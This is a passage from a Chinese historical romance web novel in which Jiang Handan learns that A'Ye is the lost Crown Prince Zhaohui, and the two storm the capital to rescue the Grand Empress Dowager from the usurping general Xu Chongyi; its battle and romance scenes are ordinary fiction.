“才不是……”姜菡萏握着他的手,心中太欢喜了,反而不知道要说什么,开心的话全堵在喉咙口,喉头哽咽。 她扑上去抱住他,忍不住“哇”地一下哭出声。 “我最笨了,我最最笨!” 阿夜慢慢地抬起手,轻轻拍着她的背:“没有。” “就有!”姜菡萏带着哭腔反驳,“我明明那么喜欢你,我竟然不知道!” 阿夜的手停在半空,久久地没有动,良久良久,才缓缓地眨了一下眼睛。 “菡萏,你说什么?”他有点恍惚地问。 姜菡萏哭得稀里哗啦,半天才抬起头,抽噎着:“我、我有要紧的事情要跟你说,你不要吓倒。” “我太傻了,我搞错了,一直错了,许南风不是昭惠太子,你才是!” “昭惠……太子?” “对,你是风晔,光明灿烂之晔,不是黑暗深夜之夜!”姜菡萏的脸贴在他的手上,明明那么高兴,泪水居然还是流下来,“阿夜,阿夜,居然是你,居然是你……我一直在找的人,居然是你啊!” 阿夜的神情很平静,声音也是:“原来……这就是极乐世界吗?” “什么?” “和尚说,极乐世界,就是人死之后会来的地方……在这里,无论是什么样的心愿都会实现。”阿夜的那只手掌抚上姜菡萏的脸颊,语气轻柔,目光迷离,“原来是真的……” 姜菡萏紧紧抓着他的手:“不,这是真的!你就是风晔!” “是的,我就这么许愿的……我希望我就是你要找的人,我希望我出生在皇家,从小便跟你订下婚约,从懂事起我们便在一起,青梅竹马,对吗?然后我们长大,会举行盛大的婚礼,比许南风和你举行的还要大,还要好……你本就是世上最尊贵的女子,只有皇后之位才能配得上你,所以我最好是太子,长大可以当皇帝,这样,便能和你般配……咳咳……” 阿夜的身体还太虚弱,说到这里喘息了片刻,但眸子里全是温柔笑意,“所以我希望我是风晔,只有我是风晔,这一切才能水到渠成……” “你就是风晔啊……”姜菡萏摸着他的脸,“我说的是真的!” “当然是真的……极乐世界,就是这样啊……” 阿夜的手捧着她的脸,指腹下传来的触感如此真实细腻,像摸到一片花瓣,或者一片雪花。 “真可惜,我知道这是假的……真正的菡萏这种时候早已经躲开了我的手,每一次碰触她都会抗拒,因为我是忘恩负义的无耻之徒,是她从地狱带到人间,我却要毁了她的毁事,折断她的翅膀,将她困在我身边。我死了,她可能会难过吧,但她从来不会只坐着哭,她会为我哭一哭,然后就去找许南风,她喜欢他,那才是真正的昭惠太子……” “不是的,不是你说的这样……我喜欢的人是你,一直都是你,你是不是昭惠太子,我喜欢的人都是你!只是我太傻了,我一直不知道!” 直到我发现我会失去你。 姜菡萏的泪水长流,捧着他的脸深深吻下去,等她吻完想要再抬头的时候已经晚了,阿夜的手掌按住她的后脑勺,加深了这个吻。 野兽无论再怎么虚弱,都不会拒绝送到口边的猎物。 良久良久,姜菡萏大口喘息,她的脸颊嫣红如醉,声音宛转如蜜:“现在……你还觉得我是假的吗?” 阿夜的呼吸比她更急促,眼神比她的更迷醉,他蓦地翻身,单手便将她的双手扣在头顶,转瞬又意识到这不对,可是他不想松开,他紧紧地盯着她:“是你先亲了我……” 姜菡萏纵容了他的钳制,咬了咬唇:“对,是我先亲的。” 她的唇本已经微微肿起,像是熟透了、快到爆出甜美浆汁的果实,阿夜喉咙干渴得像是被烈日灼热过三年的大地,脑海一片狂乱,声音已经不听使:“那是不是可以……可以……” 姜菡萏挣了挣手,没挣动,反而换来了他更用力地压制。 “……可以。”姜菡萏别开视线,不大敢对上他异常灼热的视线,声音低低的,“不过……你现在身体可行吗?” 阿夜笑了一下,俯下身,然后一口血涌到喉头,即便他用力克制,还是有一缕溢出嘴角。 “阿夜!”姜菡萏想起来,阿夜没有松手——他太喜欢这种把她抓在手里的感觉了,哪怕眼前一阵阵发黑,也不愿放弃。 是真的还是假的,重要吗? 是极乐世界还是地狱,重要吗? 你不在我身边,世间就是地狱。 你在我身边,世间就是极乐。 “再说一遍好吗……”阿夜低声道,“说你喜欢我……” “我喜欢你,很早很早就喜欢,一直一直都喜欢你……” 阿夜倒在她的身上,嘴角带着一丝笑容。 姜菡萏抱着他,声音温柔极了,“永远永远都喜欢你……” 第80章 第80章菡萏永远是对的 姜菡萏做了一个很长很长的梦。 梦里到底做了些什么,她在醒来的时候已经记不清了,只记得梦中的四季轮换,树叶绿了,花开,叶子变黄,果实成熟……她推开窗就看到这样一棵树,而窗下就是阿夜。 醒来的时候心中很安宁,很平静,这是长久以来她第一次睡得这样安稳。 昨夜她就这样抱着阿夜睡着了,没有褥子也没有被子,半夜隐约觉得身下的床板太硬,不大舒服……但可能是睡得太沉了,后面再也没有感觉到。 此时她睁开眼睛,才发现自己身上裹着一床被子,半盖半垫,把她卷成一只蚕蛹。 她转过头,就看见阿夜侧躺在她的身边,一手搭着被子,一手撑着脸,黑眸深深,一眨不眨地看着她。 屋内很安静,窗子上一片雪亮,不知是还在下雨,抑或是天晴了。 两人你看着我,我看着你,视线交汇的刹那,不由 自主地、自然而然地,笑意从就从嘴角浮现到眼睛。 两人就这么相对着傻笑了一阵,阿夜收紧手臂,将姜菡萏连人带被抱得更紧了些。 “菡萏,太好了……”阿夜的下颔抵着姜菡萏的头顶,姜菡萏的头深深埋在他的颈间,整片帘帐内都笼罩着她的气息,“你是真的……” 他在半夜醒来,发现菡萏还在。 她牢牢地抱着他,睡得不太踏实,露在外面的指尖冰凉。 他反客为主,将她抱在怀里,他的体温可以暖着她,她不停地往他的怀里蹭,就像猫儿不停地往火炉边拱。 可惜他不能像水母一样将自己张开来将她裹住。这张床榻头一回迎来了被子,她被裹上之后,终于睡安稳了。 “本来就是真的,老天开眼了阿夜,等你养好伤,敬老王爷就要带你回京,恢复你的身份。” “然后就可以娶你吗?”阿夜认真问。 姜菡萏想说“对”,但昨夜有件事情她忘了问他。 她的声音有点低,睫毛也轻颤了一下:“阿夜……当年的事你都知道了,那场雪崩,是我父亲……” “知道。” “你如果想为父母报仇……” “报过了。”阿夜道。 姜菡萏:“?” “他也死了。”阿夜道,“一切结束了。” “可是,我是他的女儿……”姜菡萏咬了咬唇,“你恨他,也许,有一天会恨我……” 姜家嫡女和风家太子的爱恨情仇,加起来可以养活千百年的说书人,不知有多少对天家夫妇,最后为着各自家族的利益反目成仇。 “我不恨他。”阿夜的手轻轻落在姜菡萏的面颊上,“他生下了你,没有他,就没有你。” 而有你,万千罪孽,都烟消云散。 姜菡萏心中一阵感动,再度把自己埋进他怀中。 这几天她一直守着他,一夜的觉还不够,而且他的怀里那么暖,像一个巨大的人形汤婆子,她所有的心事都放下了,脑袋轻飘飘的,又往梦境里飘。 “菡萏,你以前说过,你爹对不起昭惠太子,所以你要补偿他……” 姜菡萏:“……唔。” “那,现在我是昭惠太子,你是不是也要补偿我?” “……唔。” “你打算怎么补偿?” 阿夜的最后一句,声音已经非常非常低沉了,唇跟着落在姜菡萏发上、脸上,想用自己的唇、自己的手、自己的皮肤去沾染更多她的味道。 他的吻和触摸都是轻轻的、暖暖的,好舒服,姜菡萏有种泡在热水中的感觉,声音越发迷糊:“你想要什么补偿……” “那……一会儿你睡醒梳洗,我……我可以帮你洗手吗?” 已经快要睡着的姜菡萏睁开眼,眨了眨,以为自己听错了。 阿夜脸红红的,漆黑的眼眸里全是期待。 于是姜菡萏起床梳洗后,阿喜捧着铜盆,阿夜负责洗手。 一遍清水,一遍牛乳,再一遍清水,然后涂上玫瑰香膏。 十指纤纤,肌肤胜雪,指甲泛着淡淡的红,揉捏抚摸起来柔若无骨,手感好到无法言说。 阿夜死死控制着力道,生怕弄疼她,心中有一万只蚂蚁在爬,又有一万只喜鹊在鸣叫。 “……”姜菡萏觉得自己的手要被他揉红了,“阿夜,好了吗?” “好、好了。”阿夜捧着她的手,万般不愿放开,最终在手背轻轻吻了一下,浓郁甜馥的玫瑰香从鼻腔直达脑海,浸透他的全身。 这永远是他在世间闻过的最好闻的味道。 * 许南风好几日没有出门了。 他所住的客房中堆满了酒坛,他醉了便睡,醒了便喝。 “阿风,别喝了。” 有人劝他,他以为又是许南珠,咕哝一句:“姐,别管我……” 一只手拿走他的酒坛,被酒泡软了的双手居然无法阻挡,他有些恼怒地抬起头,就看到姜菡萏的脸,雪肤花貌被拥在雪白狐裘中,眼中透着关切。 “阿风,我有话想同你说,你愿不愿出来跟我聊聊?”姜菡萏看了看屋内,“这里酒气太重了。” 许南风不知道自己是怎样回答她的,她带着侍女们走到庭院前的凉亭中坐下,侍女给她笼上暖炉。 雪小了很多,细细簌簌落在房顶。 她坐在那儿,那儿就变成了一幅画。 许南风跳了起来,手忙脚乱地开始收拾自己,片刻后走到亭中的许南风虽然不如往日那般阳光明朗,但至少不像方才那样颓丧了。 “阿风,多谢你的解药,我当时答应过要完成和你的婚礼——” “不必了,”许南风打断姜菡萏的话,“他是昭惠太子,和你自小订有婚约,我身为臣子,岂能僭越?” “我是会嫁给阿夜,但不是因为他是昭惠太子,而是因为我喜欢他。”姜菡萏认真道,“我曾经答应和你成婚,是因为一些误会——那时我把你误认为了昭惠太子。” 许南风愕然抬头:“……你是说,你从来不曾喜欢过我,只是因为误会了我的身份,才愿意嫁给我?” 姜菡萏:“是。” “呵呵……”许南风笑了,笑得比哭还难看,“你特意来找我,就是为了告诉我这个?” “……”姜菡萏默然片刻,她还不大懂怎样安慰人,只知道对人最大的尊重,就是以诚相待。 一份账单放在石桌上,推到许南风面前。 上面列着具体的数目,粮草多少石,铠甲多少具,兵器多少件,工匠多少人…… 许南风不解:“这是什么?” “谢仪,也是赔罪。”姜菡萏道,“这是我个人送给镇海军的。” 时逢朝廷都举步维艰的乱世,这么多的军需足以引发一场争夺大战,足以表达她的谢意和诚意。 许南风拿起账单,慢慢撕成两半,再对折撕开。 “用不着。求娶,是我心甘情愿,给解药,也是我心甘情愿。不需要你谢,也不需要你赔。” 他的手一松,纸屑如白色蝴蝶在风雪中被卷飞。 姜菡萏沉默。他既然不接受,她也无计可施。 她不再多说什么,站起身,转身准备离开。 许南风的声音忽然从身后传来:“菡萏,真要谢我的话,何必送东西给镇海军?送给我就行。” 姜菡萏回身:“那你要什么?” “一碗甜羹就好。”许南风望着她,眼中有一丝辛酸的笑意,“就是从前你给我做过的那种。” 这么简单吗?姜菡萏有点意外:“可是,我记得你以前并不喜欢吃……” “那是我以前太蠢了。”许南风微笑,“我还能再尝一次吗?” “不行。” 在姜菡萏回答之前,一个声音冷冷传来。 “你不是嫌菡萏的甜羹难吃吗?菡萏永远也不会给你再做。” 月洞门后现出阿夜的背影,他一身黑衣,面沉如水。 “……你怎么来了?”姜菡萏讶异,敬王不是找他商议回京的事情去了吗?“你跟着我?” 阿夜摇摇头,拉住姜菡萏的手:“我在找你。” 敬王为他策划了一场大张旗鼓的排场回京,但他自己并不在意,怎么回不重要,回不回甚至都不重要,重要的是他已经离开菡萏快三炷香时间,这是他中毒醒来后第一次和她分开这么久。 他迫不及待想找到她。 看到她,闻到她,触摸到她,他心中的焦灼与渴望才得以平息。 “这是我和阿风的事,”姜菡萏低声说着,轻轻挣开阿夜的手,她不大习惯在人前同他这样亲密,“阿风救了你,我一定要谢谢他。” 又香又软的小手像鱼儿一样从掌心滑走了,只有寒风拂过,掌心格外空洞和凄凉,阿夜退而求其次,抓住姜菡萏的衣袖。 掌心终于又能被属于她的东西填满,阿夜脸色好看了不少:“你救我性命,我可以允诺你一个请求,任何时候,只要和菡萏无关的事情,只要你开口,我必为你办到。” “哼!”从阿夜出现的那一瞬起,许南风就紧绷了身体,此时冷哼一声,正要回绝,冷不丁又传来一个 声音:“我替他答应了!” 许南珠从院子另一头的月洞门后走出来。 阿夜是因寻人至此,她原来是来看看弟弟,因见姜菡萏在此,不便打扰,所以避在一旁,本想等姜菡萏走了再说,此时却是不得不现身,不然她这傻弟弟不知道还要做出什么蠢事。 抢着应下这个许诺,许南珠趁热打铁:“不过,空口无凭,只怕到时不好对证。不知殿下能否给个凭证?” 阿夜答应了,然后带着姜菡萏离开。 “姐!”许南风悲哀道,“这是我这辈子最后一次能尝到那碗甜羹的机会!” 许南珠不答,忽然弯腰抓起一把积雪,拉开弟弟的衣领,直接塞了进去。 许南风被冰得直跳脚。 “为一碗甜羹拒绝那么大一笔军需我就不说你了,可你要是敢拒绝阿夜的承诺,看我不揭了你的皮。”许南珠道,“那可是昭惠太子!承德帝的帝位是从他爹那里捡来的,现在他回来了,帝位就得还给他,他是未来的大央之主,一个任你提的要求,就是一道空白圣旨,一道丹书铁券!” 许南珠一口气说完,累得直喘气,“你给我清醒清醒,小姐已经是未来的皇后了!你再敢惦记,那不叫痴心妄想,那叫大不敬!叫谋逆!” 许南风苍白的脸上像是挨了一记耳光,整个人晃了晃,终于趴在石桌上,痛哭出声。 许南珠轻轻抚着弟弟的脑袋,发出一声长长的叹息。 * 姜菡萏被阿夜牵着手,带回书房。 她有点好奇:“你要给她什么凭证?” 阿夜裁出一张白纸,打开印信盒子,拿出里面的印信和印泥。 姜菡萏:“!” 这盒子曾经短暂地归她所有,但她从来没打开过。 她以为里面就是一枚普通印章,结果阿夜拿出来的是一小团金灿灿的物事:金链子缠在金镯子上,沾上印泥,便能在纸上落下一道鲜明印记。 她越看越觉得这两样东西有点眼熟:“这、这……这好像是我给你的……” “对。”阿夜在白纸上盖完“章”,让人把这张纸送去给许家姐弟,然后仔仔细细用软棉布把首饰上面的印泥擦干净,说着便要把这两件缠在一起的首饰拆开,“你要戴吗?” “不……不用!”姜菡萏连忙阻止他破坏印信,仍在为他的异想天开吃惊:“你怎么想到用这个做印信的?” 确实这纹路是独一无二,外人无法伪造……但关系着两州安危的重要信息,难道不该严正一些吗? 阿夜:“郭俊说,印信是非常重要的东西。这是你给我的,它就非常重要。” 姜菡萏回想起当初给出这两样东西时,她完全没有想过阿夜还会再回到她身边,并且会成为她心中这么重要的人。 当时她只是随手摘下,却成了他一直珍藏的宝物。 “阿夜,”她看着他,心中有酸楚的柔情,“我对你不好。” “不,你对我最好。”阿夜抬起手,想要抱她,却又习惯性控制住,手攥成了拳头。 姜菡萏张开双臂,靠进他怀里,抱住他的腰背,脸贴在他的胸膛,低声道:“我以后会对你好的。” 阿夜深深地抱着她:“你已经对我很好很好了。” 姜菡萏:“不,我要更好。” 阿夜笑了,轻轻在她的头发上亲了一下:“不能更好了。” 姜菡萏:“哼,你瞧着吧,一定会更好的!” 比如…… 她捧起阿夜的脸,踮起脚尖,在他的唇上用力亲了一口。 腰被阿夜紧紧箍住,她踮起的脚尖始终未能放下来。 书桌前两人仿佛合成了一个人,天下独一无二的印信闪烁着明亮的金光。 阿夜深深地吻下去。 他错了,菡萏永远是对的。 原来真的还可以更好……【你现在阅读的是 】 第 81 章【VIP】 第81章 第81章最重要 昭惠太子回归,必将万众瞩目。 敬王是这样计划的:顾晚章先回京把消息告诉太皇太后,太皇太后必定会指定接迎使者带着皇太子的袍服、冠带与仪仗前来庆州迎接阿夜,然后敬王再护送阿夜回京。 前有接迎使,后有姜家府兵、玄甲军和镇海军,队伍浩浩荡荡,所过之处,尽现天威。 但京城的接迎使迟迟没有到来。 要在饱受摧残的京城准备出全副的皇太子仪仗确实并非易事,选出一名身份地位皆合适的接迎使也不简单,可总不至于一连了过数日都没有动静。 最后敬王准备派人回京城瞧瞧的时候,李思政匆匆来到澹园,带来一个消息。 “京城封闭了所有城门。” 最早发现这一情况的是商贾们。 他们在庆州盘下了北疆来的货物,准备带去京城售卖。之前那场大战几乎耗尽京城的元气,京城可以说是什么都缺,无论什么都能迅速卖掉。 于是商贾们快马加鞭带着货物赶往京城,却发现明明还没有到闭城门的时候,京城的城门却“轰隆隆”关上了。 城内想出城的人和城外想进城的人被紧闭的城门阻断。 商贾们原先以为,也许是城中要捉拿紧要逃犯,所以暂时关闭城门,以免犯人逃脱。这种事情并非没有发生过,有经验的商贾们耐心在城门外等待。 一天,两天,三天过去了,城门仍旧没有要打开的迹象,城内也没有传出任何消息,城头的兵士却是越来越多,密集的弓箭对准城门下方,擅自叩门者立刻就会被射杀。 商贾们连忙逃回庆州。 所有人的面色都变得凝重起来——京城的意思很明显,它不欢迎昭惠太子的归来。 其中的问题非常敏感,那就是京城里眼下还有一位太子,风明。 风明尚是个懵懂少年,但他身边的人哪一个不希望自己将来成为举足轻重的辅政大臣?风明不争,不代表身边的人不争。 “岂有此理!”敬王大怒,“论血脉、论正统、论年岁、论才干,昭惠太子才是真正的大央储君!皇嫂难道老糊涂了不成,竟然由得底下人胡来?明明昭惠太子才是皇兄的血脉!” 姜菡萏觉得有点奇怪,太皇太后早已知晓昭惠太子的存在,甚至直言过风明并不适合当一个帝王。 敬王立刻点齐兵马准备回京,同时急命人赶制皇太子的袍服冠带。 阿夜道:“不必。” 敬王道:“衣冠乃是礼制,你穿上那身衣裳,谁都知道你是太子。” “不必。”阿夜还是这个答案。他对于当不当太子没有什么执念,“回到京城,穿龙袍。” 敬王被这气度震住,再度从阿夜身上看到昔年长庆帝伟岸的身影。 他恭声答:“是。” 姜菡萏也震惊于阿夜的野心,等众人离去后,悄悄问道:“你这是准备回京就杀了承德帝?” 阿夜皱眉:“他还没死?” 是的,承德帝虽然神志不清、卧床不起,但一直没有咽下最后一口气。 “那就杀了吧。”一国不容二主,一个皇宫里,不能有两个穿龙袍的人。这点道理阿夜还是懂的。 “……”姜菡萏忽然觉得,她也许应该调整一下了,现在的阿夜不再是她的狼人少年,而是高高在上的未来帝王,一言决人生死,一怒血流漂杵。 “穿上龙袍,才能给你最盛大的婚礼。”阿夜看着姜菡萏,认真道,“所以不要耽误时间了,让他们直接做吉服吧。” 姜菡萏:“……” 她果然还是想多了。 * 大军向京城开拔。 玄甲军如今是昭惠太子的亲卫军,拱卫在阿夜身后,排在最前方。 姜家府兵紧随其后,最后是镇海军。 姜菡萏坐在马车中,随着大军慢慢接近京城。 巍峨的城墙在视野中一点一点变得清晰,城门紧闭,城墙上全是兵士。 她在这座城墙上守城多日,深知需要多少兵力才能稳稳守住每一个角落,此刻城墙上兵士的密集程度,是她守墙时梦寐以求的。 大军在箭矢的射程范围外停下,敬王中气十足地喊话:“墙头何人守城?本王与昭惠太子在此,速速打开城门!” “我等遵奉太皇太后之令坚守城池,任何人未得太皇太后谕令皆不得出入。”城头传来许崇义的声音,“昭惠太子早在多年前便已故去,敬老王爷年事已高,莫要被有心之人哄骗,还是在城外安心等待太皇太后谕令为好。” 敬王大怒:“他这是骂我老糊涂了?” 姜菡萏:“……好像是。” 许南珠和许南风上前叫门:“父亲,昭惠太子有玉印为证,敬王亲身验明无误,请父亲打开城门,恭迎太子殿下!” “非是我不开城门,实在是太皇太后有严命。尔等不知,城中出了大事,所以全城戒严,任何人不得出入。”许崇义道,“诸位稍安勿躁,我这就让人去回 禀太皇太后。” 城中出了大事? 什么大事需要全城戒严? 内乱已平,朝廷经过彻底的清洗,承德帝当年留下的痕迹早已被冲刷干净,内有太皇太后临朝,外有许崇义镇守,还有什么能威胁到京城? 姜菡萏想不通,敬王也想不通,众人皆有疑虑,只有阿夜眸子平静,神情镇定。 他只看着那扇城门。 反正,只要进城门就好了。 进了城门,他就是名正言顺的昭惠太子。 杀死承德帝,他就是新的皇帝。 他可以登基,然后迎娶菡萏为后。 事情就是这么简单。 许崇义派出去的人很快带回消息,一名内侍出现在城墙上,尖声道:“太皇太后有命,昭惠太子上前接旨!” 阿夜策马上前,缓缓接近城墙。 巨大的城墙横亘在大地上,像是卧在蓝天下的巨人。 “阿夜!”姜菡萏的声音猛地从身后响起,“快回来!” 阿夜回头,顺着姜菡萏的视线望向城内,蓝天下一缕黑烟升起,那是皇宫的方向。 皇宫燃起的狼烟! 城墙上所有的弓弦一起绞出奇异的声响,万箭齐发——他已经走到射程之内。 “叛贼姜夜,无故危害镇海军副将在先,掠夺姜家嫡女在后,拥兵自重,对抗朝廷,实为谋反!”城墙上许崇义的声音随着箭矢一起落下,“太皇太后有令,此待恶徒,见者枭首,杀无赦!” “殿下!” 玄甲军立刻上前救主。 “别过来!”阿夜一声断喝,身形像风筝一样从马背上飘然而起。 只有一支箭追上他的身影,被他一把抓住。箭雨落在他身前,密密麻麻插满地面,在大军前划下一道无形的壁垒。 许南珠身体晃了晃,险些从马背上摔下来,许南风连忙扶住她:“姐,现在怎么办?义父是怎么回事?那当真是太皇太后的命令吗?” 许南珠脸色苍白。傻阿风,如果真是太皇太后的命令,父亲怎么会矫诏让阿夜上前? “准备攻城。”阿夜吩咐,他从军需里面找出一只铁箱,铁箱中保存着两只陶罐,那是当初追击风曜之时,姜菡萏交给他的。 姜菡萏问:“你想用风曜的法子炸开城门?” “那个法子太笨了。”阿夜当时便觉得,其实有更好的办法。 他取过一杆长/枪,掂了掂份量,然后提枪上马,冲向城墙。 城墙上的许崇义巴不得他送上门,再次万箭齐发。 “他疯了吗?!”姜祯失色喊道,这是分明是找死。 姜菡萏一颗心蹦到嗓子眼,但没有说话。 箭很快,但阿夜更快。 在箭雨落下来之前,他掷出了手中的长\枪。 姜菡萏之前在校场上听张贺说过,枪本龙技,模仿的是龙的攻击形态。此时此刻,那杆长\枪就像一头出头的黑龙,以无可阻挡的气势直奔城墙而去。 “喀啦”一声,城墙上镇海军的大旗应声而倒,跌下城头,摔在冬日尚未融化的积雪中。 大旗乃军心所向,城头上顿时起了一阵波动。 阿夜在掷出长枪后即刻飘然而退,再一次安稳地落在射程之外,那唯一一支能紧追不舍的长箭乃是许崇义所射,被敬王射出的箭矢打落。 他望着地上的大旗,漆黑的眸子里透着一丝光亮。 他做人的时候喜欢战争,就像做兽的时候喜欢狩猎。 危险往往伴随着刺激,这种刺激令他身心愉悦。 “镇海军的将士们,拿起你的刀箭,守护我们镇海军的威严!”许崇义大声道,“谁能杀了贼首,本侯的爵位便送给谁!” 城墙下的镇海军们立刻动荡起来,许崇义在镇海军中的威望丝毫不逊于阿夜在玄甲军中,不少镇海军立刻拔刀对上身边的姜家府兵与玄甲军,这时候许南珠一声断喝:“统统住手!这是昭惠太子,城墙上的才是贼首!” 许南风紧握长\枪:“姐?” “父亲疯了……” 许南珠脸上没有一丝血色,父亲做了她最担心的事。 一个边远之地的小小武将为什么会长年地打听京城的消息? ——因为在他的野心中,京城是他的囊中之物! 她抓住许南风的衣袖:“阿风,阻止他们,能保下镇海军就只有你!” 许南风看看城头上的义父,再看看面前的姐姐,一咬牙,长\枪对准镇海军:“我等追随太子殿下,擅动者死!” 阿夜完全没有理会这些动静,他继续拿起一杆长\枪,开始把陶罐缠上去。 缠完之后,再取第二杆长\枪,缠上陶罐。 姜菡萏知道他要做什么了,但姜祯还不知道,依然觉得他在找死——许崇义已经顾不得对底下的镇海军发话,手中弓箭死死对准阿夜。 确定缠稳了之后,阿夜再度上马,第三次冲向城墙,这一次,对准的是城门方向。 长\枪脱手,稳稳扎进新修的门板。 这座城门他守了多日,知道它哪里最脆弱。一上一下,扎得透透的。 许崇义带领镇海军赶到京城时,围城之战已经进行到最后一日,两边的火药都已用尽,他对于那种鬼神般的力量只有耳闻,没有目睹,甚至觉得这都是小辈们没什么见识,夸大其词。 此时他不知道阿夜要做什么,只是对阿夜的举动充满愤怒与恐惧——他从军三十载,从一名小兵做到而今军侯,从来没有见过哪一个将领是这种打法,竟然每一次都只身上阵! 偏偏每次都能全身而退! 这分明是挑衅! 眼看阿夜再次轻松退到箭矢的射程之外,许崇义取箭时摸了个空,箭壶空了。 就在这个时候,他的耳边忽然听到一个巨大的声响,仿佛山崩地裂一般,脚下坚实的城墙都跟着晃了晃,他险些站不住脚。 他的两耳被震得嗡嗡直响,大吼:“发生何事?!” “义父……”守在城下的一名义子被扶上来,他的半边身体已经血肉模糊,“城门……被炸开了……” 城下,阿夜向姜菡萏伸出手。 当那只小手落在掌心,他轻轻一用力,就把姜菡萏抱到了自己的马背上。 最珍贵的东西,当然带在身边最近的地方。 他为她裹好披风,脸轻轻蹭了一下她的鬓角:“准备好,要攻城了。” “嗯。”姜菡萏点头,“别恋战,先去皇宫,太皇太后可能出事了。” “好。”阿夜低声答应,然后拔出刀,刀锋映亮他的眸子。 “冲锋!” * 刚刚 被炸开的城门处死伤一片,镇海军还没有回过神来,玄甲军的铁蹄已经踏破城门的废墟。 “这里交给我!”敬王挥舞着双锤大喊,“快去皇宫!” 阿夜一点头,带着玄甲军直奔宫城。 全城戒严所言非虚,本已经恢复了些许元气的京城重新陷入一片荒凉,街面上一家摊子都没有,所有人门户紧闭。 宫城处亦有镇海军把守,但防守远不如城墙上严密,显然许崇义没有料到他们能这么快突破到宫城。 镇海军虽是精锐,可玄甲军从无败绩,留下一队人马牵制,阿夜马不停蹄往宫中赶。 仪凤门、朝晖门、景庆门……宫门一道一道突破,狼烟却越来越淡,直至消失,应该是被人强行扑灭。 但很快,另一股浓烟冲上天空。 不同于垂直升空的狼烟,这股浓烟成团升起,转眼便被吹到面前,把姜菡萏呛得直咳嗽。 披风掩过来,阿夜的手捂住姜菡萏的口鼻,姜菡萏抓着他的手,忍着咳:“快!快点!” 那是慈宁宫方向。 而这股浓烟……明显是焚宫冒出来的烟雾! 上一世太皇太后便是在慈宁宫中焚宫自尽殉国,留给叛军的只有一座废墟。 一路上都有镇海军,他们把守着宫门要道,囚禁了诸宫妃嫔和羽林卫,楼台走廊渐渐密集,骑马施展不开,阿夜率领玄甲军下马步战,一手挥刀,单手抱着姜菡萏。 姜菡萏:“你放下我,快去救太皇太后,我随便找个地方躲着就行——” 一语未了,阿夜猛然倒转刀锋,刀光斩向一名趁乱偷袭的镇海军。 一蓬鲜血迎面溅向姜菡萏,姜菡萏闭上眼睛,脸上却始终没有传来温热甜腥的可怕触感。 阿夜的披风挡住了鲜血,他的眼中带着愧疚:“对不起。”然后挥刀重新杀入镇海军中。 羽林卫被优先释放出来,抓起武器加入战斗,镇海军的人数飞快减少,最终杀到慈宁宫前,镇海军只剩下几十人。 慈宁宫着火了。 如同上一世那样,火是从慈宁宫内烧起来的,门板紧闭,火舌从门缝和窗户里蹿出来。 姜菡萏呆呆地看着熊熊的火焰,久违的恐惧扼住了她咽喉。 “菡萏,你在这里等我。”阿夜在远离火焰的地方把她放下,轻轻摸了摸她的脑袋,“别怕,我会把人救出来。” 姜菡萏一把抓住他的披风:“你……你不许有事。” 阿夜想了想,解下披风,将姜菡萏严严实实裹起来,他的眸子黑亮:“是。” 最后的战斗没有悬念,真正艰难的是灭火救人。 姜菡萏知道自己要是过去反而会碍事,但远远的等待令人无比心焦。 忽地,郭俊带着几名玄甲军走到她面前,手里各自端着茶水与点心,还有暖炉。 姜菡萏:“……?” “殿下恐小姐等得难受,让我等来陪伴小姐。” “……?”姜菡萏的脸色忽然变了,“他在做什么?他进火场了?!” 郭俊没有料到这么快就被揭穿,垂下头:“殿下是所有人当中身手最好的……” 姜菡萏腾地一下站起来,就要往慈宁宫冲。 郭俊等人拦住她,这才是他们真正的任务。 “退下!”姜菡萏抓起那枚童子背仙桃的玉坠,命令。 阿夜在接受自己真正的身份之后,仍旧把玉坠送给了她,他很高兴:“那它确实是我的东西了。”他觉得自己没有送错,并且它终于拿得出手了。 代表着皇太子身份的私章,没有人敢阻拦,姜菡萏向慈宁宫跑去,郭俊等人紧紧追随在她身后。 数不清的人围在慈宁宫前,用土、用水、用雪……用任何东西只为扑灭大火,轰隆一下,慈宁宫的房顶塌陷。 姜菡萏刚刚拐过弯,便看见这样一幕,差点儿晕过去。 下一瞬,宫门洞开,一团着火的人影冲出大门,滚落到地上。 人们立刻泼灭他们身上的火焰,阿夜抖开已经千疮百孔的帘帐,露出底下无知无觉的太皇太后和风明。 他一抬头就看到了姜菡萏:“他们还活着,只是被熏晕过去——” 话没有说完,姜菡萏已经扑进他的怀中,紧紧搂着他的脖颈。 阿夜感觉到她在颤抖,他轻轻抚着她的背脊:“我没事。” “你不许有事。”姜菡萏抬起头,眼眶发红,“他们重要,你更重要。” 阿夜的脸刹那间发亮:“……多重要?” 姜菡萏捧着他的脸:“最重要。” 阿夜说不出话来了,他紧紧地抱着她,身后的火焰仿佛都化为满天烟火,此刻就算整个世间全都毁灭,也丝毫损不了他的幸福。 * 火势渐渐灭下去,太皇太后在御医的救治下醒来,看见姜菡萏和阿夜,又惊又喜:“是你们……好孩子,是你们救了我?” “是他救了你,祖姑母。”姜菡萏把阿夜拉过来。 “你还同他在一起……他定然没有杀敬王了。” “谁说他杀了敬王?”姜菡萏一怔,“这到底是怎么回事?” “十天前,陛上驭龙殡天了。”太皇太后的声音沙哑,缓缓道来,“按祖制,明儿当在柩前即位,许崇义那厮却说应该等敬王回来主持大局。哀家不知他是包藏祸心,还觉得他说得对,敬王毕竟是宗室之长,这等大事,他确实应该在场。” 然而这只是许崇义阴谋的开始。 太皇太后很快发现上朝的官员少了一大半,剩下的那一小半则全体上书,认为风明难堪大任,大央需另寻明主。 而这个明主远在天边,近在眼前,就是救下京城的镇海侯许崇义。 太皇太后经历三朝,看得出来许崇义敦厚老实下的城府与野心,可按照常理推断,他的野心大约是成为辅政重臣,城府则会让他稳扎稳打,徐徐图之。 等他真的图穷匕现之时,大央的局势也已稳定,她自有办法夺了他的兵权。 可许崇义偏偏不按常理出牌,疯了似的要求风明下旨禅位。 整个京城都由镇海军把守,羽林卫很快被他控制,百官违逆者立斩,街市一片鲜红,百姓不敢出门。 这些日子太皇太后与风明一直被关在慈宁宫,开始还有食物,后面连清水都没有,祖孙俩只能靠积雪苟活。 可就在今日,许崇义声称敬王已被阿夜所杀,赵公公冒死点燃的狼烟很快被扑灭,太皇太后在绝望之中举火焚宫。 “顾晚章呢?”姜菡萏问,“他没有把消息带回来吗?” “什么消息?”太皇太皇问,“许崇义说他和敬王一同死在了庆州。” 姜菡萏明白了。 许崇义是乱世枭雄,从一名低阶武将爬到眼下的位置,经过了多年的筹谋与等待。他本该慢慢守着风明登基,待太皇太后与敬王离世,他便是世间最强大的人,那时再从风明手中夺权,易如反掌。 可是顾晚章带来的阿夜是昭惠太子的消息。 